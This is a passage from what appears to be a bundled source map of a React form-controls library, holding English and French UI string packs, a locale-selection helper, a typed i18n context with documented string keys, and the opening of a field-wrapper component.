chooseFromSource: \"Choose from your team's files\",\n chooseFromSourceAria: (label) =>\n label ? `Choose from your team's files for ${label}` : \"Choose from your team's files\",\n filePickerTitle: \"Your team's files\",\n filePickerTakes: (formats) => `Showing ${AND.format(formats)} files, which this input takes`,\n filePickerSearch: 'Search files',\n filePickerSearchPlaceholder: 'Search by name',\n filePickerScope: 'Whose files',\n filePickerMine: 'Mine',\n filePickerEveryone: 'Everyone',\n filePickerUse: (count, name) => {\n if (count === 0) return 'Choose a file';\n if (count === 1 && name) return `Use ${name}`;\n return count === 1 ? 'Use 1 file' : `Use ${count} files`;\n },\n filePickerLoading: 'Loading your files…',\n filePickerFailed: \"Couldn't load your files.\",\n filePickerNoMatch: 'No files match.',\n filePickerClearSearch: 'Clear search',\n filePickerNoneTeam: (formats) => `Your team has no ${OR.format(formats)} files yet.`,\n filePickerNoneMine: (formats) => `You haven't added or made any ${OR.format(formats)} files yet.`,\n filePickerShowEveryone: \"Show everyone's\",\n filePickerUpload: 'Upload a file',\n filePickerShown: (count) => (count === 1 ? '1 file' : `${count} files`),\n testFile: 'Test file',\n fileSize: formatBytes,\n fileDate: formatFileDate,\n fillWithExample: 'Fill with an example',\n examplesTitle: 'Examples',\n examplesHint: 'Choosing one fills the form. Nothing runs until you run it.',\n examplesLoading: 'Loading the examples…',\n examplesFailed: \"Couldn't load the examples.\",\n examplesNone: 'No examples yet. Run it, then save the run as an example.',\n examplesShown: (count) => (count === 1 ? '1 example' : `${count} examples`),\n replaceEnteredTitle: 'Replace what you entered?',\n replaceEnteredDescription: (name) =>\n `Filling the form with “${name}” replaces every value in it.`,\n replaceEnteredConfirm: 'Replace',\n exampleActions: (name) => `Actions for ${name}`,\n openExample: 'Open',\n renameExample: 'Rename',\n deleteExample: 'Delete',\n renameExampleTitle: 'Rename the example',\n exampleName: 'Name',\n renaming: 'Renaming…',\n renameFailed: \"Couldn't rename the example.\",\n deleteExampleTitle: (name) => `Delete “${name}”?`,\n deleteExampleDescription: 'This cannot be undone.',\n deleting: 'Deleting…',\n deleteFailed: \"Couldn't delete the example.\",\n close: 'Close',\n cancel: 'Cancel',\n save: 'Save',\n tryAgain: 'Try again',\n showMore: 'Show more',\n loadingMore: 'Loading more…',\n loadMoreFailed: \"Couldn't load more.\",\n};\n","/**\n * The controls' strings in French: a complete `FieldStrings`, for a host that\n * serves French and has no message catalogue of its own to bridge. Mounted as\n * `<FieldStringsProvider strings={FR_FIELD_STRINGS}>`, or spread under a host's\n * own overrides (`{ ...FR_FIELD_STRINGS, addItem: 'Ajouter une ligne' }`).\n *\n * The count-bearing messages apply French plural rules, where zero and one both\n * take the singular (`0 élément`, `1 élément`, `2 éléments`), and a size is\n * written the French way: `ko` and `Mo`, a decimal comma, a space before them.\n * Both come from `Intl` (`PluralRules`, `NumberFormat`), not hand-written rules.\n * A colon takes the no-break space French typography puts before it, so it\n * never wraps onto a line of its own.\n *\n * Typed as `FieldStrings` rather than `Partial`, so a key added to the contract\n * fails the build here until it is translated.\n */\nimport type { FieldStrings } from '../field-strings';\nimport { calendarDaysBefore, inCurrentYear } from './calendar';\n\n// Plurals and sizes come from the platform's `Intl`, not from hand-written rules: it knows French\n// (zero and one take the singular, `ko` and `Mo`, a decimal comma, a narrow no-break space before\n// the unit), and it is how every other locale pack added beside this one gets its rules right.\nconst PLURALS = new Intl.PluralRules('fr');\nconst BYTES = new Intl.NumberFormat('fr-FR', { style: 'unit', unit: 'byte', unitDisplay: 'long' });\nconst KILOBYTES = new Intl.NumberFormat('fr-FR', {\n style: 'unit',\n unit: 'kilobyte',\n unitDisplay: 'short',\n maximumFractionDigits: 0,\n});\nconst MEGABYTES = new Intl.NumberFormat('fr-FR', {\n style: 'unit',\n unit: 'megabyte',\n unitDisplay: 'short',\n maximumFractionDigits: 1,\n});\n\n// Lists and dates come from `Intl` too: \"PDF, JPG et PNG\", \"17 oct.\", a time on the 24-hour clock.\nconst AND = new Intl.ListFormat('fr', { type: 'conjunction' });\nconst OR = new Intl.ListFormat('fr', { type: 'disjunction' });\nconst TIME = new Intl.DateTimeFormat('fr-FR', { hour: '2-digit', minute: '2-digit' });\nconst DAY = new Intl.DateTimeFormat('fr-FR', { day: 'numeric', month: 'short' });\nconst DAY_YEAR = new Intl.DateTimeFormat('fr-FR', {\n day: 'numeric',\n month: 'short',\n year: 'numeric',\n});\n/** A verdict's measure as a whole percentage, spaced as French writes it: « 96 % ». */\nconst PERCENT = new Intl.NumberFormat('fr-FR', { style: 'percent', maximumFractionDigits: 0 });\n\n/** « Aujourd’hui, 10:42 », « Hier », « 17 oct. », or « 17 oct. 2025 » for another year. */\nfunction formatFileDate(date: Date): string {\n const days = calendarDaysBefore(date);\n if (days === 0) return `Aujourd’hui, ${TIME.format(date)}`;\n if (days === 1) return 'Hier';\n return inCurrentYear(date) ? DAY.format(date) : DAY_YEAR.format(date);\n}\n\n/** The noun agreeing with `count`, by French plural rules. */\nfunction plural(count: number, one: string, other: string): string {\n return PLURALS.select(count) === 'one' ? one : other;\n}\n\n/** `512 octets`, `36 ko`, `1,4 Mo`, on the English formatter's binary multiples. */\nfunction formatBytes(bytes: number): string {\n if (bytes < 1024) return BYTES.format(bytes);\n if (bytes < 1024 * 1024) return KILOBYTES.format(bytes / 1024);\n return MEGABYTES.format(bytes / (1024 * 1024));\n}\n\n/** « a.pdf, b.pdf et c.pdf », or « a.pdf, b.pdf, c.pdf et 4 autres » when some are not named. */\nfunction someNames(names: readonly string[], more: number): string {\n return AND.format(more > 0 ? [...names, `${more} ${plural(more, 'autre', 'autres')}`] : names);\n}\n\nexport const FR_FIELD_STRINGS: FieldStrings = {\n optionalBadge: 'facultatif',\n selectPlaceholder: 'Choisir…',\n typeValuePlaceholder: 'Saisissez une valeur…',\n writeHerePlaceholder: 'Écrivez ici…',\n jsonHint: 'Saisissez cette valeur en JSON brut.',\n decrease: 'Diminuer',\n increase: 'Augmenter',\n noItemsYet: 'Aucun élément pour le moment',\n addItem: 'Ajouter un élément',\n removeItemAria: (index) => `Supprimer l’élément ${index}`,\n itemsCount: (count) => `${count} ${plural(count, 'élément', 'éléments')}`,\n itemsCountOf: (count, total) => `${count} sur ${total} ${plural(total, 'élément', 'éléments')}`,\n fieldsCount: (count) => `${count} ${plural(count, 'champ', 'champs')}`,\n uploading: 'Envoi en cours…',\n dropToUpload: 'Déposez pour envoyer',\n dropOrBrowse: 'Déposez un fichier ou cliquez pour parcourir',\n pasteUrlInstead: 'coller un lien à la place',\n uploadUnavailable: 'Impossible d’envoyer un fichier ici. Collez plutôt un lien vers le fichier.',\n urlPlaceholder: 'https://…',\n fileUrlAria: (label) => (label ? `Lien vers le fichier pour ${label}` : 'Lien vers le fichier'),\n uploadedFile: 'Fichier joint',\n encodedFileSummary: (format, bytes) => `${format} · ${formatBytes(bytes)}`,\n preview: 'Aperçu',\n removeFileAria: 'Retirer le fichier',\n previewUnavailablePdf: 'Aperçu indisponible - ouvrez le fichier pour le consulter.',\n pdfViewerUnavailable: 'Ce navigateur ne peut pas afficher le PDF ici.',\n openInNewTab: 'Ouvrir dans un nouvel onglet',\n // U+002D HYPHEN-MINUS, as in the English defaults.\n resultAbsent: '-',\n resultAbsentDescription: 'Non renseigné',\n resultUndescribed: 'Aucun descripteur de sortie pour ce pipe — affichage de la valeur brute.',\n toggleRowDetails: (index) => `Afficher ou masquer le détail de la ligne ${index}`,\n rowDetailsColumn: 'Détail',\n copyUrl: 'Copier le lien',\n copyText: 'Copier le texte',\n download: 'Télécharger',\n downloading: 'Téléchargement…',\n downloadIncomplete: (names) =>\n `${\n names.length <= 1\n ? 'Un fichier n’a pas pu être enregistré'\n : `${names.length} fichiers n’ont pas pu être enregistrés`\n }\\u00a0: ${names.join(', ')}`,\n downloadFile: (name) => `Télécharger ${name}`,\n downloadFileFailed: 'Le fichier n’a pas pu être enregistré',\n downloadPdf: 'Télécharger le PDF',\n downloadPdfBusy: 'Préparation du PDF…',\n downloadPdfFailed: 'Le PDF n’a pas pu être créé',\n pageLoading: 'Chargement de la page…',\n downloadHtml: 'Télécharger le HTML',\n fileNameTitle: 'Nom du fichier',\n fileNameCancel: 'Annuler',\n fileNameConfirm: 'Télécharger',\n viewRendered: 'Résultat',\n viewJson: 'JSON',\n copyJson: 'Copier le JSON',\n resultViewGroup: 'Affichage du résultat',\n yes: 'Oui',\n no: 'Non',\n yesProbability: (share) => `Probabilité du oui\\u00a0: ${PERCENT.format(share)}`,\n verdictConfidence: (share) => `Confiance\\u00a0: ${PERCENT.format(share)}`,\n ratingLevel: (position) => `Niveau ${position}`,\n pageNumber: (position) => `Page ${position}`,\n extractedTable: 'Tableau',\n searchSources: 'Sources',\n viewImage: (name) => `Voir ${name}`,\n imagePosition: (position, count) => `${position} sur ${count}`,\n previousImage: 'Image précédente',\n nextImage: 'Image suivante',\n openOriginal: 'Ouvrir l’original',\n unsupportedFileType: (formats) =>\n `Ce type de fichier n’est pas pris en charge. Formats acceptés\\u00a0: ${formats}.`,\n dropFilesOrBrowse: 'Déposez des fichiers ou cliquez pour parcourir',\n dropFilesToAdd: 'Déposez pour ajouter les fichiers',\n addFilesAria: (label) => (label ? `Ajouter des fichiers à ${label}` : 'Ajouter des fichiers'),\n filesAdded: (count) => `${count} ${plural(count, 'fichier ajouté', 'fichiers ajoutés')}`,\n filesRefused: (names, more, formats) =>\n `${\n names.length + more === 1\n ? 'Non ajouté, car son type n’est pas pris en charge'\n : 'Non ajoutés, car leur type n’est pas pris en charge'\n }\\u00a0: ${someNames(names, more)}. Formats acceptés\\u00a0: ${formats}.`,\n filesLeftOut: (names, more, fitted) => {\n const these =\n names.length + more === 1\n ? 'ce fichier n’a donc pas été ajouté'\n : 'ces fichiers n’ont donc pas été ajoutés';\n const room =\n fitted === 0\n ? 'La liste est pleine'\n : `La liste n’avait de place que pour ${fitted} ${plural(fitted, 'fichier', 'fichiers')} de plus`;\n return `${room}, ${these}\\u00a0: ${someNames(names, more)}.`;\n },\n oneFileOnly: 'Ce champ accepte un seul fichier.',\n oneFileOnlyInList:\n 'Ce champ accepte un seul fichier. Déposez-en plusieurs dans la zone de dépôt de la liste.',\n hideOptionalFields: 'Masquer les champs facultatifs',\n hideOptionalInputs: 'Masquer les entrées facultatives',\n optionalFieldsCount: (count) =>\n `${count} ${plural(count, 'champ facultatif', 'champs facultatifs')}`,\n optionalInputsCount: (count) =>\n `${count} ${plural(count, 'entrée facultative', 'entrées facultatives')}`,\n requiredField: 'Obligatoire',\n incompleteField: 'Incomplet\\u00a0: remplissez ses champs obligatoires',\n runWaitsFor: (names, more) => `Remplissez ${someNames(names, more)} pour lancer`,\n uploadFailed: 'Ce fichier n’a pas pu être envoyé. Réessayez.',\n chooseFromSource: 'Choisir parmi les fichiers de l’équipe',\n chooseFromSourceAria: (label) =>\n label\n ? `Choisir parmi les fichiers de l’équipe pour ${label}`\n : 'Choisir parmi les fichiers de l’équipe',\n filePickerTitle: 'Les fichiers de l’équipe',\n filePickerTakes: (formats) =>\n `Fichiers ${AND.format(formats)} uniquement, ceux que cette entrée accepte`,\n filePickerSearch: 'Rechercher des fichiers',\n filePickerSearchPlaceholder: 'Rechercher par nom',\n filePickerScope: 'Quels fichiers',\n filePickerMine: 'Les miens',\n filePickerEveryone: 'Toute l’équipe',\n filePickerUse: (count, name) => {\n if (count === 0) return 'Choisissez un fichier';\n if (count === 1 && name) return `Utiliser ${name}`;\n return `Utiliser ${count} ${plural(count, 'fichier', 'fichiers')}`;\n },\n filePickerLoading: 'Chargement de vos fichiers…',\n filePickerFailed: 'Impossible de charger vos fichiers.',\n filePickerNoMatch: 'Aucun fichier ne correspond.',\n filePickerClearSearch: 'Effacer la recherche',\n filePickerNoneTeam: (formats) => `L’équipe n’a encore aucun fichier ${OR.format(formats)}.`,\n filePickerNoneMine: (formats) =>\n `Vous n’avez encore ni ajouté ni créé de fichier ${OR.format(formats)}.`,\n filePickerShowEveryone: 'Voir ceux de l’équipe',\n filePickerUpload: 'Envoyer un fichier',\n filePickerShown: (count) => `${count} ${plural(count, 'fichier', 'fichiers')}`,\n testFile: 'Fichier de test',\n fileSize: formatBytes,\n fileDate: formatFileDate,\n fillWithExample: 'Remplir avec un exemple',\n examplesTitle: 'Exemples',\n examplesHint: 'En choisir un remplit le formulaire. Rien ne s’exécute avant que vous le lanciez.',\n examplesLoading: 'Chargement des exemples…',\n examplesFailed: 'Impossible de charger les exemples.',\n examplesNone:\n 'Aucun exemple pour le moment. Lancez-le, puis enregistrez l’exécution comme exemple.',\n examplesShown: (count) => `${count} ${plural(count, 'exemple', 'exemples')}`,\n replaceEnteredTitle: 'Remplacer ce que vous avez saisi\\u00a0?',\n replaceEnteredDescription: (name) =>\n `Remplir le formulaire avec «\\u00a0${name}\\u00a0» remplace toutes ses valeurs.`,\n replaceEnteredConfirm: 'Remplacer',\n exampleActions: (name) => `Actions pour ${name}`,\n openExample: 'Ouvrir',\n renameExample: 'Renommer',\n deleteExample: 'Supprimer',\n renameExampleTitle: 'Renommer l’exemple',\n exampleName: 'Nom',\n renaming: 'Renommage…',\n renameFailed: 'Impossible de renommer l’exemple.',\n deleteExampleTitle: (name) => `Supprimer «\\u00a0${name}\\u00a0»\\u00a0?`,\n deleteExampleDescription: 'Cette action est irréversible.',\n deleting: 'Suppression…',\n deleteFailed: 'Impossible de supprimer l’exemple.',\n close: 'Fermer',\n cancel: 'Annuler',\n save: 'Enregistrer',\n tryAgain: 'Réessayer',\n showMore: 'Afficher plus',\n loadingMore: 'Chargement de la suite…',\n loadMoreFailed: 'Impossible de charger la suite.',\n};\n","/**\n * The language packs, by locale code, and the switch that picks one. A new language is one file in\n * this folder, typed as a whole `FieldStrings`, added to `FIELD_STRINGS_BY_LOCALE` below.\n */\nimport type { FieldStrings } from '../field-strings';\nimport { EN_FIELD_STRINGS } from './en';\nimport { FR_FIELD_STRINGS } from './fr';\n\n/** Every language pack the package ships, keyed by its primary language subtag. */\nexport const FIELD_STRINGS_BY_LOCALE: Readonly<Record<string, FieldStrings>> = {\n en: EN_FIELD_STRINGS,\n fr: FR_FIELD_STRINGS,\n};\n\n/** The locale codes a pack exists for. */\nexport const SUPPORTED_LOCALES = Object.keys(FIELD_STRINGS_BY_LOCALE);\n\n/**\n * The pack for a locale code, read as BCP 47: its primary language subtag decides, so `fr`,\n * `fr-FR`, `fr_CA` and `FR` all give French. A missing or unknown locale gives English.\n */\nexport function fieldStringsFor(locale?: string | null): FieldStrings {\n const language = (locale ?? '').trim().toLowerCase().split(/[-_]/)[0] ?? '';\n return FIELD_STRINGS_BY_LOCALE[language] ?? EN_FIELD_STRINGS;\n}\n","'use client';\n\n/**\n * The controls' i18n seam. The field controls are kernel code - they cannot\n * import `next-intl` - so every user-visible string they render comes through\n * this typed contract, with English defaults baked in. A host app injects its\n * own values (a next-intl host bridges them in its own `field-strings-intl.tsx`)\n * by mounting `FieldStringsProvider` above the form; stories and tests run on\n * the defaults.\n *\n * Count-bearing messages are FUNCTIONS, not templates: the default English\n * pluralization lives here, and an injecting host applies its own locale's\n * rules (ICU plurals under next-intl, for instance).\n */\nimport { createContext, useContext, useMemo, type ReactNode } from 'react';\nimport { EN_FIELD_STRINGS } from './locales/en';\nimport { fieldStringsFor } from './locales';\n\nexport interface FieldStrings {\n /** Badge on an optional field's header row. */\n optionalBadge: string;\n selectPlaceholder: string;\n typeValuePlaceholder: string;\n writeHerePlaceholder: string;\n /** Helper under the raw-JSON escape hatch. */\n jsonHint: string;\n decrease: string;\n increase: string;\n noItemsYet: string;\n addItem: string;\n removeItemAria: (index: number) => string;\n itemsCount: (count: number) => string;\n /** The same badge for a list the method gave an exact count (`Concept[N]`). */\n itemsCountOf: (count: number, total: number) => string;\n /** What a record's table cell says when none of its fields can name it. */\n fieldsCount: (count: number) => string;\n uploading: string;\n dropToUpload: string;\n dropOrBrowse: string;\n pasteUrlInstead: string;\n /**\n * What a file field says in place of its dropzone when its host has no way to\n * store a file, so a link is the only way in. The field's format hint follows\n * it, because the link still has to point at a file the runtime can read.\n */\n uploadUnavailable: string;\n /**\n * The placeholder in the URL a person may paste instead of uploading. It names\n * the web's own scheme only: a host whose runner also takes its own storage\n * references can say so by overriding it, and no default shows an end user a\n * platform's storage scheme.\n */\n urlPlaceholder: string;\n /**\n * The accessible name of that URL input, given the field's label as the form\n * shows it. The field's label is bound to the file input, so without this the\n * placeholder was the only thing a screen reader announced here.\n *\n * The label is EMPTY inside a list row: the list drops each row's label, and\n * the row number it shows instead is a bare glyph tied to no control. So every\n * row's input currently carries the same generic name, and giving rows\n * distinct names is a separate piece of work on the list control.\n */\n fileUrlAria: (label: string) => string;\n /**\n * The title of an attached file's card when the value carries no filename.\n * True of a pasted link as well as of an upload, which \"Uploaded file\" was not.\n */\n uploadedFile: string;\n /**\n * What names a file carried INSIDE its own URL (a `data:` URL), where a\n * reference would otherwise be printed: its format and its decoded size. The\n * string itself is forty thousand characters of base64 and says nothing.\n */\n encodedFileSummary: (format: string, bytes: number) => string;\n preview: string;\n removeFileAria: string;\n previewUnavailablePdf: string;\n /**\n * Said in a result, in place of a PDF's frame, where the browser draws no PDF\n * in a page (Android's browsers, a headless browser): above the actions that\n * open the file in a new tab and save it.\n */\n pdfViewerUnavailable: string;\n /** The link that opens a file in a new tab, where it cannot be shown in the page. */\n openInNewTab: string;\n /**\n * What a result slot the run resolved as an absence SHOWS — a dash, not a\n * sentence. Beside forty values in a grid, \"not provided\" repeated is louder\n * than the data; a dash reads as the blank it is.\n */\n resultAbsent: string;\n /**\n * What that dash SAYS, to a screen reader.\n *\n * The two are separate because a glyph and a sentence are answers to different\n * questions. A table column of hyphens read aloud is \"hyphen, hyphen, hyphen\",\n * which is noise rather than information — so the dash is `aria-hidden` and\n * this rides beside it, visually hidden.\n */\n resultAbsentDescription: string;\n /**\n * Shown above the raw value when a result cannot be laid out because the\n * artifacts describing it are absent. It names the CAUSE — the descriptor,\n * not the data — because the value is right there underneath and a reader\n * who is not told why will assume the view is broken.\n */\n resultUndescribed: string;\n /** The control that opens a result table row to show the rest of the record. */\n toggleRowDetails: (index: number) => string;\n /** The (visually hidden) header of the column those controls sit in. */\n rowDetailsColumn: string;\n /** The control that puts a file's whole URL on the clipboard. */\n copyUrl: string;\n /** The copy control beside any text value, markdown or not. */\n copyText: string;\n /** The download control's label. */\n download: string;\n /** Announced while the files are being fetched. */\n downloading: string;\n /**\n * What the whole-result download says when some files did not arrive: the\n * ones no URL could be found for, and the ones the delivery reported. Takes\n * the names the files would have been saved under.\n */\n downloadIncomplete: (names: readonly string[]) => string;\n /**\n * The button beside each file that saves that one file, given the name it\n * saves under: a gallery of buttons all called \"Download\" would leave a\n * screen-reader user unable to tell which file each one saves.\n */\n downloadFile: (name: string) => string;\n /** What that button says when the file did not arrive. */\n downloadFileFailed: string;\n /** The control on an HTML page that saves it as a PDF, in one click. */\n downloadPdf: string;\n /** What that control says while the PDF is being made. */\n downloadPdfBusy: string;\n /** What that control says when the PDF could not be made or saved. */\n downloadPdfFailed: string;\n /**\n * Shown in place of an HTML page for the moment the stored pictures it names\n * are being resolved through the host.\n */\n pageLoading: string;\n /**\n * The page's own HTML download, beside \"Download PDF\" on a result that is\n * one page, where a bare \"Download\" would not say which of the two it saves.\n */\n downloadHtml: string;\n /**\n * The dialog that asks for a download's name, when the host turns\n * `downloads.askFileName` on: its title, which also names the field, and its\n * two buttons.\n */\n fileNameTitle: string;\n fileNameCancel: string;\n fileNameConfirm: string;\n /** The result panel's two views, and the control that copies the payload. */\n viewRendered: string;\n viewJson: string;\n copyJson: string;\n resultViewGroup: string;\n yes: string;\n no: string;\n /**\n * The line under a yes or no verdict, in `app`, given the probability its\n * producer reported that the answer is yes, from 0 to 1. It states the\n * probability of yes whichever way the verdict went, which is what the\n * producer measured: a \"no\" decided against a threshold can still carry a\n * probability of yes above a half.\n */\n yesProbability: (share: number) => string;\n /** The line under a rating or a choice, in `app`, given the producer's confidence, from 0 to 1. */\n verdictConfidence: (share: number) => string;\n /**\n * A rating's verdict when its scale names no levels, given the level's\n * position counted from one: the payload's `level` is an index from zero.\n */\n ratingLevel: (position: number) => string;\n /** The caption over each page of an extracted document with several, counted from one. */\n pageNumber: (position: number) => string;\n /** What names a table read out of an extracted page when the table has no caption of its own. */\n extractedTable: string;\n /**\n * The heading over a search result's sources, in `app`: the web pages its\n * answer was written from, listed after the answer.\n */\n searchSources: string;\n\n // A picture's viewer (docs/result-view.md, \"A picture opens in a viewer\").\n /**\n * The accessible name of a result's picture, which opens it in the viewer,\n * given the picture's name: a gallery's tile in `app` shows no name, so this\n * is what tells one tile from the next to a screen reader.\n */\n viewImage: (name: string) => string;\n /** Where the viewer stands in a list of pictures, counted from one: \"3 of 6\". */\n imagePosition: (position: number, count: number) => string;\n /** The viewer's two buttons that move to the picture before or after this one. */\n previousImage: string;\n nextImage: string;\n /** The viewer's link that opens the whole picture in a tab of its own. */\n openOriginal: string;\n /**\n * Shown when a picked file is not a format this slot accepts. Takes the\n * slot's own formats as the hint names them (`PNG, JPG`), after any narrowing\n * a host applied, so the message names what WOULD have worked - \"not\n * accepted\" on its own leaves the user guessing at the list they just failed.\n */\n unsupportedFileType: (formats: string) => string;\n\n // A list of files takes several files at once (docs/upload-seam.md, \"A list\n // of files takes several files at once\").\n /** What a list of files' drop area says, under its rows. */\n dropFilesOrBrowse: string;\n /** What it says while files are dragged over it. */\n dropFilesToAdd: string;\n /**\n * The accessible name of the file input inside that area, given the list's\n * label as the form shows it, so it says which list the files go to.\n */\n addFilesAria: (label: string) => string;\n /** Announced, visually hidden, once a batch is placed: how many files went in. */\n filesAdded: (count: number) => string;\n /**\n * The files of a batch the list did not take because the slot does not accept\n * their type: the first few names, how many more there were, and the slot's\n * formats as the hint names them (`PDF, JPG, PNG`).\n */\n filesRefused: (names: readonly string[], more: number, formats: string) => string;\n /**\n * The files of a batch a bounded list had no room for: the first few names,\n * how many more there were, and how many of the batch did fit.\n */\n filesLeftOut: (names: readonly string[], more: number, fitted: number) => string;\n /** What a single file field says when several files are dropped on it at once. */\n oneFileOnly: string;\n /** The same, on a row of a list that has a drop area for several files. */\n oneFileOnlyInList: string;\n\n /** The optional-entries disclosure (\"field\" inside a concept, \"input\" at top level). */\n hideOptionalFields: string;\n hideOptionalInputs: string;\n optionalFieldsCount: (count: number) => string;\n optionalInputsCount: (count: number) => string;\n /**\n * The mark `MethodForm` puts on an input the run needs and does not have,\n * once the person has tried to run.\n */\n requiredField: string;\n /**\n * The mark on an optional input that was started but is not complete, once\n * the person has tried to run: a started structure owes its concept every\n * required field.\n */\n incompleteField: string;\n /**\n * What a composer's action row says beside its run button while inputs the\n * run needs are still empty or incomplete: the first few inputs' labels, and\n * how many more there are.\n */\n runWaitsFor: (names: readonly string[], more: number) => string;\n /** What a file field says when the host's `uploadFile` rejected its file. */\n uploadFailed: string;\n\n // The file source (docs/sources.md): the row under a file field's controls\n // and the sheet it opens.\n /** The row under a file field's own controls that opens the team's files. */\n chooseFromSource: string;\n /**\n * That row's accessible name, given the field's label as the form shows it,\n * so each file field's row says which field it fills. It must contain the\n * row's visible words, which a voice-control user says to press it.\n */\n chooseFromSourceAria: (label: string) => string;\n /** The sheet's title. */\n filePickerTitle: string;\n /** The line under the title, given the field's formats as the hint names them (`PDF`, `JPG`). */\n filePickerTakes: (formats: readonly string[]) => string;\n /** The search's visually hidden label, and its placeholder. */\n filePickerSearch: string;\n filePickerSearchPlaceholder: string;\n /** The Mine and Everyone switch: its accessible name and its two choices. */\n filePickerScope: string;\n filePickerMine: string;\n filePickerEveryone: string;\n /**\n * The sheet's one primary button, given how many files are chosen and, when\n * one is, its name: \"Use INV-2291.pdf\", \"Use 3 files\", and with none chosen,\n * the words it shows while it is disabled.\n */\n filePickerUse: (count: number, name: string | undefined) => string;\n /** Announced while the first page is read. */\n filePickerLoading: string;\n /** The first page could not be read. Try again follows it. */\n filePickerFailed: string;\n /** The search matched nothing, said once the list has ended. Clear search follows it. */\n filePickerNoMatch: string;\n filePickerClearSearch: string;\n /** The whole team holds no file of the field's formats. */\n filePickerNoneTeam: (formats: readonly string[]) => string;\n /** The person holds no file of the field's formats. Show everyone's follows it. */\n filePickerNoneMine: (formats: readonly string[]) => string;\n filePickerShowEveryone: string;\n /** Closes the picker on the field's own upload, from an empty list. */\n filePickerUpload: string;\n /** Announced once rows are shown: how many. */\n filePickerShown: (count: number) => string;\n /** What leads a test file's second line, in place of a chip. */\n testFile: string;\n /** A file's size on its row: `340 KB`. */\n fileSize: (bytes: number) => string;\n /** When a file was stored, on its row: \"Today, 10:42\", \"Yesterday\", \"17 Oct\". */\n fileDate: (date: Date) => string;\n\n // The example source (docs/sources.md): \"Fill with an example\" and its list.\n /** The control that opens the method's examples. */\n fillWithExample: string;\n /** The examples sheet's title, and the line under it. */\n examplesTitle: string;\n examplesHint: string;\n /** Announced while the first page is read. */\n examplesLoading: string;\n /** The examples could not be read. Try again follows it. */\n examplesFailed: string;\n /** The method has no example yet. */\n examplesNone: string;\n /** Announced once rows are shown: how many. */\n examplesShown: (count: number) => string;\n /** The question asked before an example replaces what the person entered. */\n replaceEnteredTitle: string;\n /** What it says under the question, given the example's name. */\n replaceEnteredDescription: (name: string) => string;\n replaceEnteredConfirm: string;\n /** The accessible name of an example row's menu, given the example's name. */\n exampleActions: (name: string) => string;\n /** The row menu's items, in its order: Open, offered when the source opens examples, then Rename and Delete. */\n openExample: string;\n renameExample: string;\n deleteExample: string;\n /** The rename dialog: its title, the name field's label, and its button while it works. */\n renameExampleTitle: string;\n exampleName: string;\n renaming: string;\n /** The rename failed; the dialog stays open with the new name, and Save becomes Try again. */\n renameFailed: string;\n /** The question asked before deleting, given the example's name, and what it says under it. */\n deleteExampleTitle: (name: string) => string;\n deleteExampleDescription: string;\n deleting: string;\n /** The delete failed; the question stays open, and Delete becomes Try again. */\n deleteFailed: string;\n\n // What both lists share.\n /** Closes a sheet or a dialog. */\n close: string;\n cancel: string;\n save: string;\n tryAgain: string;\n /** Reads the next page of a list. */\n showMore: string;\n /** Said beside the wait for the next page. */\n loadingMore: string;\n /** The next page could not be read; the rows already shown stay. Try again follows it. */\n loadMoreFailed: string;\n}\n\n/** The English strings, which every control falls back to. Kept under this name for existing hosts. */\nexport const DEFAULT_FIELD_STRINGS: FieldStrings = EN_FIELD_STRINGS;\n\nconst FieldStringsContext = createContext<FieldStrings>(DEFAULT_FIELD_STRINGS);\n\n/**\n * Set the strings every control below speaks. `locale` picks a language pack by its code (`fr`,\n * `fr-FR`, `en-GB`…; an unknown one falls back to English), and `strings` overrides single keys\n * on top of it. Both are optional: with neither, the controls speak English.\n */\nexport function FieldStringsProvider({\n locale,\n strings,\n children,\n}: {\n locale?: string;\n strings?: Partial<FieldStrings>;\n children: ReactNode;\n}) {\n const merged = useMemo(() => ({ ...fieldStringsFor(locale), ...strings }), [locale, strings]);\n return <FieldStringsContext.Provider value={merged}>{children}</FieldStringsContext.Provider>;\n}\n\n/** The strings the nearest provider supplies (English defaults when none does). */\nexport function useFieldStrings(): FieldStrings {\n return useContext(FieldStringsContext);\n}\n","'use client';\n\nimport type { ReactNode } from 'react';\nimport { cn } from './utils';\nimport type { ConceptCategory } from '../core';\nimport { ConceptPill } from './concept-pill';\nimport { useFieldStrings } from './field-strings';\nimport { fieldLabel, useFieldPresentation } from './field-presentation';\n\ninterface FieldShellProps {\n name: string;\n title?: string;\n conceptRef?: string;\n category: ConceptCategory;\n description?: string;\n required: boolean;\n /** Validation message; renders in danger text under the control. */\n error?: string;\n /** Links the rendered name to the control for screen readers. */\n htmlFor?: string;\n children: ReactNode;\n className?: string;\n}\n\n/**\n * A field in error, in `app`: a 1px outline in the solid error colour, 4px\n * clear of the field, at a panel's corner.\n */\nconst ERROR_OUTLINE = 'rounded-lg outline-solid outline-1 outline-offset-4 outline-destructive';\n\n/**\n * The label / type / description / error chrome around a single input control.\n * Every field type composes this so the form reads as one consistent column -\n * the control itself is the only thing that varies.\n */\nexport function FieldShell({\n name,\n title,\n conceptRef,\n category,\n description,\n required,\n error,\n htmlFor,\n children,\n className,\n}: FieldShellProps) {\n const s = useFieldStrings();\n // Inside a method app the label is a question, not an identifier: sans,\n // humanised, and with no concept pill. Everywhere else it stays the exact\n // mono name a builder wrote. See `field-presentation.tsx`.\n const presentation = useFieldPresentation();\n const isApp = presentation === 'app';\n const Label = htmlFor ? 'label' : 'div';\n // A list item passes title=\"\" - the row index already labels it, so we drop\n // the name and keep only the type pill to avoid a redundant header per row.\n const labelText = fieldLabel(title, name, presentation);\n const showLabel = labelText.trim() !== '';\n const outlined = isApp && !!error;\n return (\n <div className={cn('space-y-2', className)}>\n <div className=\"flex flex-wrap items-baseline gap-x-2 gap-y-1\">\n {showLabel && (\n <Label\n {...(htmlFor ? { htmlFor } : {})}\n className={cn(\n 'text-[13px] font-medium leading-none text-foreground',\n isApp ? 'text-[13.5px]' : 'font-mono',\n )}\n >\n {labelText}\n </Label>\n )}\n {!isApp && <ConceptPill conceptRef={conceptRef} category={category} />}\n {!required && (\n // In `app` the mark is in the body face, as the label beside it is:\n // a monospace tag was a third face on a host's page.\n <span\n className={cn(\n 'ml-auto text-[10px] uppercase tracking-wider text-muted-foreground',\n !isApp && 'font-mono',\n )}\n >\n {s.optionalBadge}\n </span>\n )}\n </div>\n {description && (\n <p className=\"text-[12px] leading-relaxed text-muted-foreground\">{description}</p>\n )}\n {/* A field in error is OUTLINED, not just annotated - inside an app the\n red caption alone is easy to miss on a tall form, and it is the only\n signal on controls whose `aria-invalid` sits on an element the user\n cannot see (the file dropzone's hidden input, most of all). Scoped to\n the app presentation so the studio's look is unchanged.\n The wrapper is ALWAYS rendered 